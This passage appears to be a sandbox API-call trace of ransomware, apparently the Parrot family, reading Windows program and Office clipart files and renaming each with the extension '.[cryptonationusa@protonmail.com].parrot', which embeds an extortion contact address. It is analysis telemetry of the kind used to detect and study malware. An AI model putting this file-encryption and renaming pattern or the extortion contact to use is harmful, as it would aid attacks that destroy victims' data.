oledb\\10\\cartridges\\sql70.xsl.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0127.448] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0127.448] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0127.450] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.450] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x9a5b, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x9a5b, lpOverlapped=0x0) returned 1 [0127.456] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.457] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql90.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql90.xsl.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0127.460] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0127.461] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0127.462] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.462] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x745e, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x745e, lpOverlapped=0x0) returned 1 [0127.465] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.467] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sybase.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sybase.xsl.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0127.491] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0127.491] ReadFile (in: hFile=0x260, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0127.492] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.492] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xa2b58, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0xa2b58, lpOverlapped=0x0) returned 1 [0127.514] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.539] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msmdsrv.rll"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msmdsrv.rll.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0127.546] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0127.546] ReadFile (in: hFile=0x260, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0127.548] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.548] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3a18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x3a18, lpOverlapped=0x0) returned 1 [0127.549] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.554] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msolui100.rll"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msolui100.rll.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0127.570] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0127.570] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0127.571] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.572] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2340, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2340, lpOverlapped=0x0) returned 1 [0127.573] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.573] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00004_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00004_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0127.577] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0127.577] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0127.578] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.578] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1c30, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1c30, lpOverlapped=0x0) returned 1 [0127.579] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.580] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00011_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00011_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0127.584] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0127.584] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0127.585] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.586] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3a19, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3a19, lpOverlapped=0x0) returned 1 [0127.586] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.587] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00021_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00021_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0127.589] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0127.589] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0127.591] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.591] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1a1c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1a1c, lpOverlapped=0x0) returned 1 [0127.592] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.592] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00037_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00037_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0127.596] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0127.596] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0127.597] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.598] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xcb3, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xcb3, lpOverlapped=0x0) returned 1 [0127.598] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.598] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00038_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00038_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0127.601] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0127.601] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0127.602] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.602] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1fa1, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1fa1, lpOverlapped=0x0) returned 1 [0127.603] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.609] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00040_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00040_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0127.612] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0127.612] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0127.614] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.614] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1e06, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1e06, lpOverlapped=0x0) returned 1 [0127.615] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.615] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00052_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00052_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0127.617] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0127.618] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0127.619] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.619] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2e73, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2e73, lpOverlapped=0x0) returned 1 [0127.620] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.620] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00057_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00057_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0127.623] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0127.623] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0127.624] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.624] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x205, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x205, lpOverlapped=0x0) returned 1 [0127.624] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.624] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00090_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00090_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0127.636] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0127.636] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0127.636] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.637] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1f6, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1f6, lpOverlapped=0x0) returned 1 [0127.637] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.637] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00092_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00092_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0127.640] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0127.641] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0127.642] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.642] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x319e, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x319e, lpOverlapped=0x0) returned 1 [0127.643] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.644] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00103_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00103_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0127.648] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0127.649] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0127.650] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.650] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd9c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xd9c, lpOverlapped=0x0) returned 1 [0127.650] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.651] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00120_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00120_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0127.653] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0127.653] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0127.654] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.654] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xc44, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xc44, lpOverlapped=0x0) returned 1 [0127.655] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.655] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00126_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00126_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0127.658] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0127.658] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0127.659] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.659] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x30c2, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x30c2, lpOverlapped=0x0) returned 1 [0127.660] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.661] MoveFileExW 